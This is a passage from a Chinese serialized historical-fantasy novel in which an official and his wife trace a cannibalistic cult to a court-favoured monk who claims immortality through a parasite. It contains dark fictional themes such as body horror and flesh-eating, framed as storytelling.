“由此推断,杨虬在白玉京的地位应当很高,随后我又严刑审问那些近身服侍杨虬的人等,就有人说,看见有五色鸟飞入杨虬房中,由此,我大胆假设,杨虬的上线就是仙主本人,先主通过五色鸟给杨虬传递信息。而后,杨虬的心腹小厮月奴,又提供了一条线索,说大公主每月都会去般若禅寺斋戒礼佛,每次杨虬都会陪同,会随身带着一个冷冰冰的大食盒,从不许下人碰触。假设大食盒里藏匿的是人肉,那么他是给谁准备的?无论他是给谁的,这个人必然就在般若禅寺。” 萧远峥一边说着,一边在宣纸上写下了“杨虬”“大公主”“般若禅寺”几个字。 慕容鸾音脚冷,便去抱了被子裹在自己身上,在他对面大圈椅上盘腿坐着。听到此处,微微睁大眼睛,“般若禅寺,是皇家寺院,是陛下替僧般若禅师侍奉佛祖的道场,那仙主竟就隐匿在此处,胆大狂妄到这般地步吗?” 萧远峥冷掀唇角,在“般若禅寺”的下方,写下了“般若禅师”四个字。 “二十多年前,般若禅寺只是一座无人问津的小寺庙,寺中多是苦修士,般若禅师还只是一个法号智圆的寻常僧人,只因陛下在那时对佛法起了兴趣,又分身乏术,不能亲自侍奉佛祖,庆和大公主为博取圣宠就各处搜罗,想要找一个和陛下有些相像的人弄到佛前为替僧,最终就找到了这个与陛下有五六分相似的智圆。” 慕容鸾音忙道:“我也听祖母给我讲过,说这智圆面见陛下时才二十来岁,就已经佛法精深的令陛下叹服了。祖母听他讲经说法,回来就赞他,说他有宿慧,是佛子转世。还多次带我去般若禅寺游玩礼佛,可是后来不知为何,祖母就勒令我们全家不许再去,我喜欢那寺里的一汪泉水,就追在祖母屁股后头问为何呀、为何呀,祖母耐不住我的纠缠就说了一句,说他的佛法精深的太过了,凡夫俗子不会辨析,会有堕入邪魔外道的害处。自此,我们家礼佛、布施再也没去过那里。” “我们府上,因着祖父厌佛亲道的缘故,我亦不曾去过。这次,因着杨虬案,我查到般若禅师,便把这位替僧彻查了一遍,他从一个苦修士,成为陛下替僧的轨迹十分清晰,但他是般若禅寺外来的和尚,直至被大公主选中才有了度牒,才成了僧录司正印,众僧之首。他进入般若禅寺之前的轨迹,既模糊又神异失真,他说自己有意识以来就是乞讨为生,后来被一个云游僧收了做弟子,坐下听云游僧传授佛法,一睁眼一闭眼,云游僧圆寂了,自此他便一个人四处化缘,红尘炼心,忽然一日云游到京郊般若禅寺,就预感到自己的机缘在此处,就此成了般若禅寺的苦修僧。” 慕容鸾音坐的腿麻就换了个姿势,托着腮道:“莫非他也做梦,梦见了这场天大的机缘?” “休要再提做梦的事。”萧远峥瞥慕容鸾音一眼,“不是谁都像你似的,以梦为真。” “我偏就以梦为真,你奈我何。”慕容鸾音白他一眼,“若非有陛下这件意料之外的大事顶着,你囚我之事,我还没完呢。你就庆幸吧,我是个以大局为重的人。哼,抓仙主,铲除白玉京,不止是陛下和你的心劫,也是我的。快接着梳理案子吧,别说讨人厌的话了。” 萧远峥无奈一叹,便把她的事情暂且放一边,接着道:“这个智圆自从做了陛下替僧,好处纷至沓来,从前残破的般若禅寺扩建成了京郊最大的寺庙,香火鼎盛,官宦权贵都去与他结交,忽一日,有个外省来京朝见陛下的宗室王爷,乍然见了他就跪下叩拜,把他吓个半死,进宫谢罪后,翌日就戴上了一副封死的紫金盔,唯一打开紫金盔的钥匙,传闻只在陛下手里。” “然后呢,他可还有其他诡异之处?” 萧远峥在“大公主”和“般若禅师”之间连上一条线,眉皱如峰。 “大公主喜美色,般若禅寺里,凡是被她看上的和尚就弄到自己府里去,玩腻了又撵回来,他袖手旁观,不管不问。” 对这位视人命如草芥的大公主,慕容鸾音十分厌恶,于是就道:“若没有大公主就没有般若禅师今时今日的地位,又或许,那些貌美俊伟的和尚就是专门为大公主养的也未可知。可这也不能断定他和白玉京有关,除非抓到他吃人。” “我请旨,把从杨虬那里购买过‘长寿大药’的人都抓了关在诏狱,审问得出,这些人有个交织点,都喝过般若禅寺的甘露泉水。” 慕容鸾音轻“咦”了一声,试探着道:“什么甘露泉水,不会是在一挂小瀑布下,碧青的水潭,水潭旁边有一丛芭蕉,一棵古海棠树的,那一汪山泉吧?” “是。应当就是你喜欢过的那一汪山泉,后来不知怎的传出名声去,说那泉水乃是菩萨手中甘露所显化,清冽甘甜,日日饮用可延年益寿,就引得京中权贵富商趋之若鹜,买回家去泡茶享用,便有了甘露泉的美名……” 慕容鸾音忽的想起,自己曾在那里踩水摘花,顿觉荒谬可笑,分明只是一汪寻常的山泉,经年过去,怎么就成了菩萨甘露了? “所以,你推测,那甘露泉里被人下了虫卵,那些人是喝了带有虫卵的泉水才得了和嘉懿太子一样的食人病?” 萧远峥轻“嗯”一声,在“般若禅师”下方写下“仙主”二字,蓦地划下一条如河长线,将宣纸横向一分为二,在下方写下“荡寇山”“极乐圣境”“夜王”“长生丹”“仙奴”几个字。 “可是这些还都不能直接证明般若禅师就是仙主。遂,我又让人快马加鞭去荡寇山,去当地县衙,弄来了县志。我翻阅县志,所获甚少,只记下了几则印象深刻的典故,荡寇山原本不叫荡寇山,当地人叫做坠星山,三十多年曾盘踞着一群十分猖獗的强盗,陛下下旨清剿天下盗匪时,被军队剿灭一空,后来才改名荡寇山。” “原本那个山名,是坠落星辰的意思?” “县志记载,百年前曾有一颗火星坠落其中消失不见,坠星山应当是从这则事情上来的。” 萧远峥写下“坠星山”三个字,又道:“那县志中,近三十年来,频繁记载荡寇山中,有虎兽成精、山魈食人、水鬼找替身等故事,我猜想,这些事情应当都是白玉京故意弄出来的,目的是防止其他猎户山民误入,以免发现他们的老巢。” “有理。”慕容鸾音想了想道:“我听你梳理完,也听出来了,这般若禅师和荡寇山里发现的白玉京老巢没有连接点。可是,为何一定要找到这个连接点呢,舅外祖吐出 的血水里有虫,说明这虫应当存在于人的血液里,若般若禅师果真是仙主,他用这种食人蛊虫控制他人,他自己身体里有吗?若是有,抓住他,放他的血出来,喂给鸡鸭猫狗,一验便知。即便不能直接证明他是仙主,也能抓起来了吧,而后审问就是。” 萧远峥闻言,将“般若禅师”和“仙主”圈了起来,而后将毛笔搁置,看着慕容鸾音道:“陛下对这个老和尚的宠信,几乎与我等同,但似乎是陛下有意为之,至今我二人从未碰过面。若在没有实证的情况下,请旨抓他,陛下不会应允。在你没告诉我陛下寿命之前,我会继续按兵不动,暗中查证,但是现在,我要冒险一试,就用你说的法子,去取他的血来验证。” 这时,窗外隐隐传来打更声,竟已到了卯时,再有一个时辰天就亮了。 慕容鸾音知他已经等不及了,说不得天一亮就会出发去般若禅寺,肯定不会带她去,杏眼流转便生出一个先下手为强的主意来。 于是,敞开绣被,脚搭在书案上,向后仰靠着椅背,装模作样抚摸着自己的腹部,笑吟吟道:“正月十五之前,各大寺庙,都有许多人去烧头香讨彩头,正好,我也要去烧香,为我腹中孩儿祈福。孩儿他爹,你要去吗?” 书案上,一双雪白秀气的脚交叠在一起,圆润的甲盖上,嫣红的蔻丹在灯光下鲜艳夺目,仿如红宝石,又似石榴籽。 沿着桌案边缘,萧远峥缓步靠近,剑眉拧着,星目如炬,仿佛要吃人,迫的慕容鸾音禁不住屏住呼吸,指尖紧扣扶手,猫儿般炸起毛来,“我如今有了陛下钦赐的,可随时进宫的牌子,我不怕你,我就要去!” 第70章 第070章谁是仙主我死后,你猜猜…… 萧远峥用侵略性的目光紧盯着慕容鸾音,走到她身边却忽的轻握住了她的脚。他那手略带薄茧,却一掌攥紧了她交叠在一起的两只脚,一下子激的慕容鸾音心口怦怦乱跳,玉面染霞,羞愤娇叱,“我不要。” 萧远峥却忽的松开手,穿过她的腿弯,把她打横抱了起来,肃然道:“不要什么?你是深有体会的,一个时辰怎够。只是抱你去小歇片刻,天亮后,同去般若禅寺为孩儿祈福,如何?” 说着话,就进了暖阁,萧远峥把慕容鸾音放到鸳鸯枕上,自己也在她身畔躺下,盖好被子,就把眼睛闭上了。 慕容鸾音恍惚着明白,自己被他戏弄了,顿时又羞又气,瞧着床尾逐渐昏暗下去的灯光,身子也困乏了,只好作罢,也把眼睛闭上小憩。心里却是愁肠百结,有一点恨意难消。只等仙主事了,便与他、与他…… 可陛下说了,十个月后要她生个孩子出来,不然,她和萧远峥就都是欺君大罪。可若真的为了保命,与他生子,有了孩子之后,后半生和他就注定牵扯不清了,她又不甘心委屈自己。 想来想去没有解法,长叹一声,只得睡去。 听得身畔之人呼吸均匀了,萧远峥就睁开了眼,望着她脸上散不去的愁容,亦是轻轻叹气,抬手想要为她展眉,却又怕弄醒了她。 翌日,冬阳高照。通往般若禅寺的官道上,车水马龙,络绎不绝。到了山脚下就没有路了,一眼望去只有数不清的石阶,如一条看不见尽头的天梯一般,一直延伸到山顶的大雄宝殿。 这只是一条主路罢了。山周还有许多人踩踏出来的石板小径,有的只通到一处凉亭,有的能到达菩萨罗汉殿,还有的绵延到一片花木蓊郁的山谷,长年累月的就成了一方游玩胜地。可山中,重峦叠嶂,奇峰罗列,虎啸猿啼,又岂是肉体凡胎能踏遍的,也不过是在人迹所能踏足之地,赏一赏云卷云舒,山明水秀的自然之景罢了。 适逢大年初一,山脚下有庙会,人烟辐辏,繁华热闹更比平时盛三分。 山腰处,有一片梅林,红花盛开,瓣瓣如血,簇拥着一座雪香亭。彼时,正有一群人把亭子围拢的水泄不通,喧哗声更把越来越多的人往这边引。 有看不过去的就怒道:“这是个人,还没死,你们这些看热闹的倒想把他看死不成,都闪开,让出一条路来,我去报官,谁会治病,倒是发发善心上前来,给他瞧瞧,救人一命胜造七级浮屠。” “我们主子会,请让开一条路来。” 萧远峥慕容鸾音一行主仆十来人,被此处喧哗声引来,已驻足听了片刻,又向旁人打听到,说是一个樵夫在山里打柴时,在溪边大石头上发现的一个人,白发到脚,模样绝美,心口上插着一把匕首,胸腔一滩血,初时还以为死了,谁知身子还是温热的,还有一口气,樵夫不忍心就给背到这里求救来了。遂,慕容鸾音就示意冬青上前说话。 彼时,人群已让开一条通路,萧远峥护着慕容鸾音径直走到亭子内,就见地上躺着一个穿黑袍赤着脚,头发、眉毛、皮肤都雪白的人,那一头白发长及脚踝,一张脸似曾相识。 萧远峥蓦地拉住想要蹲下查看伤势的慕容鸾音,低声道:“你瞧他这模样,银发女妖可还记得?” 慕容鸾音杏眸微睁,定睛一看,果然和曾经放走的银发女妖有六七分相似,只不过此人喉结凸起,胸膛平坦,分明是个美貌艳丽的男子。 “先救人。”慕容鸾音屈膝半跪在地,拿起白发男子的手就开始诊脉,怪异的是,在心口插着一把匕首,失血过多的情况下,脉象却十分稳健,但又比常人的迟缓许多。 慕容鸾音深感好奇,就回头去找赵荆,“你来,用你的飞刀把他胸前的衣裳小心些割开,我瞧瞧他的伤口,看着像是顶着心窝子深深扎进去的,可若真是如此,他早死透了,不该是这个脉象。” 赵荆便看向萧远峥,得了萧远峥的点头应允才上前来帮忙。 萧远峥眸色锐利,根据匕首插入心口的方位和晕染在衣襟上的血迹,在脑海中模拟,初步断定非是谋杀,更像是自己握着玉柄,刺杀了自己,出手狠辣没有一丝犹豫。 此人,从外貌看,和银发女妖必然是至亲,身上所穿黑袍是上等锦缎,领边袖缘,用银丝线绣着亭台楼阁的暗纹,由此推算,他在白玉京的地位应当不低。却为何要自杀?白玉京内部发生了什么吗? 就在此时,一个小沙弥悄然靠近萧远峥。 萧远峥眼尾余光一扫,转身望了过去。 小沙弥看起来只有十四五岁,溜光的脑袋顶上烧了六个戒疤,开口就用稚嫩的嗓音低声道:“禅师请您过去,他让弟子告诉您,他已等您许久许久了,怎么现在才找来呢,原来大名鼎鼎的萧青天也不过蠢蠹之流。” 一霎,萧远峥瞳孔放大,呼吸急促,想到这小沙弥口讯里隐含的意思,又蓦地咬紧牙关,高度警惕起来。一方面,把赵荆阎大忠都安排在此处保护慕容鸾音,告诉慕容鸾音在此处等他。一方面密令观棋去召唤隐匿在山下的锦衣卫,告诉锦衣卫指挥使苏逢生,随机应变,这才跟随小沙弥而去。 山顶,大雄宝殿后山,有一处低矮的断崖,崖壁之上有一挂瀑布,流水哗哗,滴水石穿,在崖底形成了一汪清澈的水潭,潭水满溢而出,形成一条溪流,沿着山势蜿蜒流淌。 水潭之畔,右边一株古海棠树,树杈上养着一窝嗷嗷待哺的鸠鸟,左边一棵绿油油的大芭蕉,蕉下是一方乌檀木搭成的莲座法台。 彼时,正有一个头戴紫金盔,脖子上挂着一串青色宝珠,身穿明黄袈裟的和尚,在莲座法台上闭目参禅。只见他一只手捻佛珠,一只手浸泡在水中,腕上血口大开,鲜红的血液在水中泅染出一片血雾,忽的自石缝中钻出一群鱼来,争先恐后在血雾中穿梭,唼喋。 少顷,和尚感知到萧远峥来了,就睁开了眼,当他把那只手从水中抽出时,血口便以肉眼可见的速度愈合了。 萧远峥入目所见便是这般神异的情景,蓦地驻足,浑身发麻,僵在了海棠树下。 般若禅师透过盔上的眼洞,观察着萧远峥的反应 ,微微一笑。 须臾,萧远峥灵台清明,背手在手紧攥成拳,冷冷道:“你是仙主?” “不急。”般若禅师手结定印,笑道:“纵观朝堂上下,唯有你,我曾看作是半个对手,可惜我已胜券在握,你才找过来,我不想锦衣夜行,只好主动把你找过来,给你讲一个我藏了四十多年的故事。” “狂妄。”萧远峥冷笑。 就在话音落地之时,苏逢生带着一支锦衣卫疾奔而至,将般若禅寺围了起来。 萧远峥见状,悬着的心微微落下,一震衣袖从容道:“你赢在何处?” 般若禅师笑着叹息,“好啊,如此阵仗,我插翅也难逃了。你们就都安静一会儿,听我讲个故事吧。你们可知我本名叫什么?” 他也不给别人回答的机会,径直道:“我本名楚永寿,乃是咸阳王世子。” 苏逢生一听,这老和尚竟是四十多年的逆贼咸阳王世子,心头一紧,禁不住看向萧远峥。 萧远峥冷笑道:“胡扯。二十多年前你才二十来岁,到今年,满打满算,你也不过五十有余,若果真是咸阳王世子,逆贼楚永寿,年纪应在七十左右,年纪对不上。” “休要急躁,听我说完。”楚永寿接着道:“适逢天下大乱,烽烟四起,群雄争霸。一城之地,也有一对兄弟想争天下,弟弟聪明绝顶名叫楚天骄,哥哥虽愚笨却天生神力名叫楚天雄,弟弟以哥哥为神兵利器,兄弟齐心,几经生死,还真叫他们得了天下,弟弟天骄成了皇帝,哥哥被封为咸阳王。跟着弟弟的属下,各个身居高位,跟着哥哥的属下,却只能龟缩于一城之地,这些人就不甘心,就撺掇着咸阳王杀皇帝,登皇位。起初咸阳王是不干的,但是耐不住那些人蚂蚁啃桥梁般,日复一日的下蛆,终于让他们等来了机会。” 苏逢生微微一思索,禁不住出声道:“四十多年前,太/祖远征漠北?” “正是这个契机。楚天骄不服老,远征漠北去了,让太子楚永昌监国,郧国公萧长生拱卫太子。我父王那些人就以为这对年轻人是好欺负的,毅然打出旗帜,掀起了战争。殊不知,楚永昌奸诈冷血,萧长生用兵如神,出手狠辣,全都不输父辈。”楚永寿似是陷入了那段久远的回忆,脸上露出痛苦的神色,“我们败了,惨败。” 萧远峥冷笑,“当今陛下,英明神武,千古一帝,你们败的不冤。” 楚永寿斜睨萧远峥,冷笑两声,接着道:“我们携家眷家将向南逃亡,萧长生领楚永昌谕旨,对我们一脉赶尽杀绝。我的世子妃小崔氏和当时的太子妃大崔氏是亲姐妹,我通过这层关系秘密向楚永昌送去求饶信,我说,我会带着父母妻儿家臣逃向海外,终生都不会回来,苦苦哀求他给我们一条生路。而他却利用大崔氏策反了小崔氏,查到了我们的藏身处,萧长生率军赶到,对我们大开杀戒,我父王惨死在萧长生刀下,我母妃为了护住我,引开追兵,坠下万丈深渊,尸骨无存。我悲痛欲绝,杀了妻儿,被家臣护持,一路过江南下,隐姓埋名,落草为寇。我听母妃的话,没想过复仇,可楚永昌,太过无情歹毒,为了找出我,杀死我绝后患,竟下令清剿天下盗匪,我被逼无奈,藏入瘴气丛生的密林深处。” “荡寇山那一伙强盗是你们?” “是。” 此时,楚永寿眼中恨意滔天,“许是老天爷有眼,让我落入一处峡谷,发现了一处天然大溶洞,在那里,我发现了长生蛊王,蛊王进入我的身体认我为主,我看到了复仇的契机!” 就在这时,一支禁军悄无声息摸了上来,领头那人,披甲执锐,身材魁梧,俊容络腮,却是洛淑仪之父,萧远峥本应该敬称一声姑丈的洛雄才。 在洛雄才身后,还跟着一个气喘吁吁的范守君。 “你来做什么?”萧远峥心中隐隐觉察不对劲,当即冷声质问。 洛雄才面朝天子方向一拱手,开口就道:“奉旨,将谋害嘉懿太子的邪教首脑带入宫中,陛下金口,要亲眼见见,亲自处决。” 萧远峥蓦的看向范守君,范守君此时正扶着海棠树抚胸平气,硬着头皮点了点头。 洛雄才冷笑,当即一挥手就呵斥道:“闲杂人等退避。拿下!” 苏逢生见状,不敢违逆圣谕,慌忙带领众属下退避一旁,给禁军让开了道路。 楚永寿却忽的大笑起来,笑声止,就道:“终究我身体里流淌着和楚永昌同样的血,你们岂敢动粗,我随你们走就是,本就在我算计之内,我是要进宫见他的。” 说着话,就自己站起来,走下莲座法台,涉过溪水走向洛雄才,在经过萧远峥时却笑道:“你问我,我是否是仙主,我现在可以回答你,我是也不是,凡是想要长生不死的,都可以是仙主。我死后,你猜猜谁是仙主?” 话落,抬手扣动头上紫金盔的一处机关。 伴随轻微的“咔嚓”声,紫金盔落地摔做两半,露出了一张十七八岁少年的脸。 刹那间,萧远峥只觉头皮发麻如遭雷击,如坠冰窟。 70-77 第71章 第071章合欢“那冷…… “那冷血无情的畜生快死了,可我有长生术,我这张脸足够勾出他想要长生不死,永世为帝的欲望吗?” “想要长生,就要伺候好蛊王,蛊王最爱吃嫩嫩的婴胎,九月胎最佳,我要把那畜生变成食人魔,我要颠覆他的王朝,要把他统治的王朝变作恶鬼地狱!” 楚永寿恶戾昭彰的话语如同诅咒一般在萧远峥脑海中盘旋不去,他心急如焚,却还顾念着慕容鸾音的安危,就先去了雪香亭寻人。 慕容鸾音有赵荆阎大忠护卫,自是平安无事,但那白发男子苏醒后,吹响了一个哨子,就有个猿猴般的人不知从何处蹿出来,扛起白发男子就跑了,眨眼间没入山林,无影无踪。 萧远峥听闻,早已顾不得什么白发男子,只急匆匆亲自将慕容鸾音送进府门,就纵马疾驰,奔向了皇宫。 慕容鸾音从他口里得知般若禅师就是仙主,已被抓住了,立时高兴的了不得,却没高兴太久,一脚踏入瑞雪堂的院门就见东厢房的门大敞着,里头乱做了一锅粥,夹杂着萧长生凄厉的嚎叫。 一声要吃人,一声要寻死,在失去人性和保持人性的痛苦中生生煎熬。 慕容鸾音脸色微变,扬声怒道:“今日没给老国公服药吗?” 她开的那副打虫药,能令萧长生吐出血虫来,吐过一次就能昏睡许久,不该发狂才对。 那边厢,众人齐心协力,终于把萧长生扎扎实实捆在了四面平榻床上,为防他咬舌塞住了嘴,黑伯这才腾出手来,挂着一脸泪痕走到慕容鸾音面前,“按你的吩咐,一刻也不敢耽误,到点就给主子灌药,我害怕药效不够压服不住主子体内的恶鬼,一滴都不敢浪费。可是……” 话到此处,黑伯抱头一蹲,喉头就哽住了。 慕容鸾音脸色微白,攥起拳头,抬脚就进了东厢。 榻床上,萧长生身上厚厚裹缠着大红绸,但见他额头上青筋凸起,眼睛赤红,泪水不停的涌出,自眼尾流淌而下。 那眼神里满是哀求——让我死了吧。 慕容鸾音红了眼,强忍泪意,在榻前一跪就开始诊脉。 “您让我再试试,这是虫病,只要把您体内的食人虫清除干净,您就没事了。” 慕容鸾音不忍心再看他,只低头诊脉,少顷走出厢房,走到黑伯面前就咬牙道:“两副药熬成一碗,再灌下去试试。” 两副药,里头的附子就是能毒死牛的药量了。 黑伯听了,一抹脸,急匆匆就去照办。 慕容鸾音满心里想着,天生万物,万物相生相克,一定是没找对与食人虫相抗衡的草药,这才压制不住,正要回房翻医书,就见洛淑仪出现在了院门口,挑着一盏兔子灯,含笑对她招手。 慕容鸾音微蹙黛眉,本不想理会,但想着如今是她管着府中内务,兴许是遇到了什么难处,于是走了过去。 “何事?” 洛淑仪在廊下美人靠上坐了,就道:“有一件要紧的事情想问你。你还记得这盏兔子灯吗?那时,我与我父亲决裂,刚被外祖母接到这府里不久,适逢花灯节,我没有心情去逛,峥表哥就带了这盏兔子灯给我。那时我心中感动,只认为是峥表哥送我的,却忽略了,他当时是牵着你的手的,你蹦蹦跳跳,手里挑着一盏流光溢彩的琉璃灯,上台阶时踩滑了,他一手就托住你抱了起来。如今反复回想、比对,才明白,兴许兔子灯不是他送我的,而是你。是你可怜我死了母亲,失了父亲,想安慰我,可对?” 慕容鸾音急着去翻医书,救治萧长生,为了快速打发她,就淡淡道:“忘记了。还有别的事吗?” 洛淑仪捏着灯柄的手指渐渐捏紧,泛白,紧盯着慕容鸾音道:“我早已把国公府当做安身立命的家,可我是表姑娘,在这府里终 究名不正言不顺。你手中有琉璃灯,我不觊觎,我只要你赠我的这盏兔子灯,阿音妹妹,我只要一个贵妾的名分,可以施舍给我吗?” 慕容鸾音满脸的不可置信,“你是老夫人老国公的亲外孙女,即便和离过一次,仍旧有很多选择可以做正妻,怎么偏偏就想给萧远峥做妾,我看你是失心疯了。送客。” 话落,转身便走。 洛淑仪还想追去说什么,被冬青迎头拦住,皮笑肉不笑道:“表姑娘,请。” 洛淑仪缓缓收起脸上可怜的神色,转身踏出门槛,把兔子灯往地上一掷,一脚踩碎,戾笑而去。 慕容鸾音压根没把洛淑仪的话放在心上,回到房中就命人把所有陪嫁的医书和哥哥送来的医书都翻了出来,带着茯苓冬葵等几个识字的丫头,把有关治疗虫病的病例都找出来折页,她再一一比对,而后就发现这些药方的关键一点,和她想的一样,清除病患体内的寄生虫,病患自然就会痊愈。 其中有个病例,写的是一个种稻人鼻子里钻进去了蚂蟥,曾祖就拿生鸡蛋放在人鼻子上引诱,利用生鸡蛋散发的特殊气味就把蚂蟥弄了出来,病患没吃药、没动刀就平安无事了。 于是,慕容鸾音就生出一个效仿的法子来。 入夜时分,没让黑伯灌药,而是从厨房弄了一块带血的猪肉来放在萧长生鼻子下,约莫静待了小半个时辰,只见萧长生皮下有虫蠕动,却没引诱出一条来。 黑伯见状,摸摸自己胳膊上被咬掉肉留下的肉坑,有了决断。 以灌药为由头,把慕容鸾音送出房门,转头就在自己大腿上割下了一块肉。鲜血淋漓的往萧长生鼻子下一放,一炷香的功夫,就有一条血虫爬出。 黑伯大喜,连忙喊人。 慕容鸾音得知实情后闯入,急忙把他从头到脚观察一遍,就见他臀股处的衣料湿了大片,只是他穿着黑衣,看不清是血,不知情的只会以为是打翻的茶水,可他手上却托着一块血肉,比她让丫头从厨房拿来的那一块略小些。 她恍惚着竟被迫辨析清楚了一个知识,原来人血比猪血鲜红,人血带着铁锈味,猪血是臭味…… “您……” 一语未了,泣不成声。 “阿音丫头,现在不是哭哭啼啼的时候,你赶紧瞧瞧,又引出来一条,用此办法,能帮主子清除干净吗?” 事已至此,哭啼无用。 慕容鸾音抬袖拭去眼泪,连忙去诊脉,又让人敞开萧长生的衣裳,露出胸膛来。半响儿,脸色泛白,对黑伯摇了摇头,“经脉依旧不通畅。” 黑伯见再无血虫被引出,急道:“我数着呢,从灌药到用人肉引诱,共出了八条虫了,怎么就还没完,难不成还有个母的在里头下崽?” 这一语当真提醒了慕容鸾音。 “未必没有。白玉京弄出来的,再邪性也有可能。” “这可如何是好!” 慕容鸾音镇定了一会儿,道:“黑伯,这个法子失败了,您切莫再做傻事,我再想想别的法子。” 慕容鸾音禁不住看向萧长生的心口处,那里,上次她切开了一条浅浅的血口子,此时已经结疤了。若是能把体内的血虫,全部逼到体表,而后开刀取出就好了。 终归是还需要一副对症的药,才能达到把血虫逼到体表的效果。 附子的毒性既然不行,那换成其他有毒的药材呢?比如草乌、马钱子、半夏…… 可舅外祖的身体能撑得住她这样试验吗? 她就怕,血虫没清除,反而毒坏了他的脏腑。脏腑若衰竭,神仙难救。 “阿音丫头,你们慕容家是医药世家,藏着的医书数不清,你再去找找法子去,一定是你粗心,看漏了、看差了,你再去重新找一遍,这里有我呢,你快去!” 慕容鸾音也不想放弃,就着黑伯的催促,起身就走,疾步回到正房,再度翻阅医书,这一次不止去看那些关于治疗虫病的,而是把每一页,每一种病例都扒拉着细细看起来。 这一看,瑞雪堂正房的灯火就燃了一夜。 到鸡鸣蜡尽时,慕容鸾音才撑不住睡下,可她心里发急,并不能睡安稳,约莫过去两个时辰就又坐起来,草草用些饭食,又开始翻书。 不知不觉,一日又过去了。残阳如血,拢住了瑞雪堂,萧远峥回来了,在踏入房门,看见慕容鸾音的那一刻,轰然倒地。 慕容鸾音险些吓死过去,慌忙叫了黑伯过来,将其抬上床,但见他脸色潮红,她一摸他的额头,竟是烫如火烧。 在确定了,他只是发烧昏迷之后,慕容鸾音就镇定了下来。 诊脉,开方,熬药,给他沐浴更衣,再到亲手给他喂下去,一整套/弄下来,累的她趴在床边就睡了过去。 窗外,寒风簌簌。窗内,帷帐中,暖香幽幽。 盖着绣被的萧远峥,眼珠微微滚动,似醒非醒。 “你看他的脸,他的肌肤,完全是十七八岁的少年样,这世间竟真有长生术,一个容颜不老的人就这么活生生出现在朕的面前了?!” “陛下,这其中定有阴谋,此人应当就是十七八的少年,他在冒充!” “不,朕确定,他就是朕的堂弟楚永寿。他说,他体内有长生蛊王,只要把这只蛊王引渡到朕的身体里,朕也会和他一样返老还童。峥儿,你信吗?” “陛下,秦皇汉武都曾追求长生,如今又如何。此人邪恶如鬼,他在引诱您!您一生睿智决断,岂能毁于此,就让微臣亲手了结了他!” “退下,朕自有决断。” “您若是引渡了他体内的恶虫,日日便只能以人肉为食,食人肉之人还能称之为人吗?!您忘了嘉懿太子吗,先太子殿下为了不食人,宁可自戕!” “拖出去!” “萧大人,可算找到您了。”大理寺少卿孟凡尘拦住失魂落魄的萧远峥,当即就递上一沓卷宗。“顺天府上报,京中多处里坊民居出了‘恶鬼食人’事件,这还罢了,他们查获了一窝贩卖婴胎的恶人,查到幕后买主后,吓得魂不附体,就都报到了大理寺,您快看。下官却以为那些买主都是恶人胡诌的,怎么可能呢,难道朝堂诸公都是吃人的妖怪,那还得了。大人,大人您怎么了?您要去哪儿?” “回家。” 孟凡尘不死心,又追上去急切的说道:“大人,您难道没有听闻,京中秘密刮起了一股邪风,流言说未见天的婴胎是长生大药,食之可延年益寿,权贵巨宦纷纷购之、抢之,您身为百官之首,又有青天之名,不管吗?” 萧远峥仰头望天,但见日落西山,便是一阵嗬嗬怪笑。 “孟凡尘,这是一场从上到下爆发的瘟疫,无药可解,趁着京城还没彻底沦为人食人的地狱之前,带着家眷逃吧。” 话落,翻身上马,疾驰而去。 孟凡尘如坠地狱,阴风从四面八方吹来,吹的他浑身瘫软,卷宗跌落,散了一地。 萧远峥睁开眼,看着床帐上朵朵绚丽的山茶,才觉得自己又回到了人间。 床畔,慕容鸾音枕着自己的手臂沉睡着。他痴痴的望着她,爱她杏眼顾盼时的潋滟灵光,知她饱满红艳的唇瓣是多么香甜可口,令他每每尝之,欲罢不能。想娶她为妻,生死与共的情思不知从何时而起,他只知道,自从少年时她出现在自己的春梦里,此后,每一个深夜,他只想与她合欢。 而今夜,他仅仅只是抬起手,为她拂了拂散在额前的碎发,轻之又轻。 第72章 第072章火海同 葬慕…… 慕容鸾音太累了,夜半被抱到床榻上,迷迷糊糊睁开眼,见是萧远峥,摸了摸他的额头,知他高烧退去,就放心睡了过去,醒来便见日光穿过茜纱落了满地。 候在外间的茯苓听到动静,连忙掀帘而入,面带惶然之色,“姑娘,世子爷正坐在厅上吃粥。” “吃粥罢了,他又不是没在瑞雪堂用过饭,你怎么是这个脸色,他训斥你了?” 茯苓连忙摇头,道:“世子爷又把咱们的院门封了,这一回连我们几个大丫头也不许出去了。” 慕容鸾音一愣,笑了一下,“你是说,他又想将我封在这院里?” 茯苓见慕容鸾音神色不对,怕他们夫妻真干起仗来,连忙跪下低声劝道:“您千万息怒,有什么话柔和着说,真与世子爷顶起来,您只有吃亏的份。” 慕容鸾音当即从枕下摸出乌银凤鸟宫牌,紧紧攥在手里,冷笑道:“别怕,我有陛下钦赐的宫牌,他封不住我了。更衣。” “是了是了,奴婢竟忘了这一遭,皇帝老爷还指望着姑娘施针治头疼病呢。” 少顷,慕容鸾音更衣毕,将乌银凤鸟宫牌系在腰带上就走了出去,透过珍珠帘的缝隙,就见萧远峥衣冠楚楚坐在那里,手里捏着玉白汤羹,正在碗里搅和。 “很不必把你的倚仗系在裙子上,我知道关不住你了。” 慕容鸾音拨开珍珠帘,施施然走出来,在他对面坐下,笑道:“既然知道,何必做出这一番吓人的声势来,快撤了吧。” 闻言,萧远峥放下汤羹,自袖中掏出一张和离书来放到小几上,推向慕容鸾音,“可是阿音,我也有倚仗,我的倚仗是你爱我,你离不开我,以往你叫嚣着和离,不过是虚张声势,博取我的关注罢了。现在,外头闹瘟疫,我给你两个选择,要么就乖乖自囚于瑞雪堂,要么就拿了和离书走人。” 慕容鸾音看着那签了名画了押的和离书,她本该高兴的,却在反复品味他说的是什么话后,气的浑身发抖,脸皮涨红。 “原来、原来我爱你这件事,竟能成为你拿捏我的把柄吗?” 慕容鸾音气红双眼,抖着手将和离书折好,收入袖中,而后缓缓站起身,微抬下巴,吞下哽咽,冷冷道:“你错了,我早已改变,绝不会为了留在你身边,自卑自贱自囚,我虽爱你,但更爱我自己。而且,我立刻、马上就离开你!” 话落,抬脚就向外冲去,待得要踏出门槛时,终究憋不住满腔伤怒,回身就带着哭腔道:“梦境里,我临死想见你最后一面,冬青为了不让我带着遗恨离世,硬闯你的静园还赔上了性命,可你仍旧拒而不见。无非就是,你知我缠绵病榻,成了枯木黄草,变心了而已。终究,我悔恨而终的一生,是你造成的!这瑞雪堂就是我的坟墓,今日我踏出这个门去,就再也不会回来!” 话落,迈过门槛,抬眼就看见自家哥哥正立在庭院中,她此时伤心欲绝,气怒交加,甫一瞧见就扑了过去,呜咽大哭。 “哥哥……” 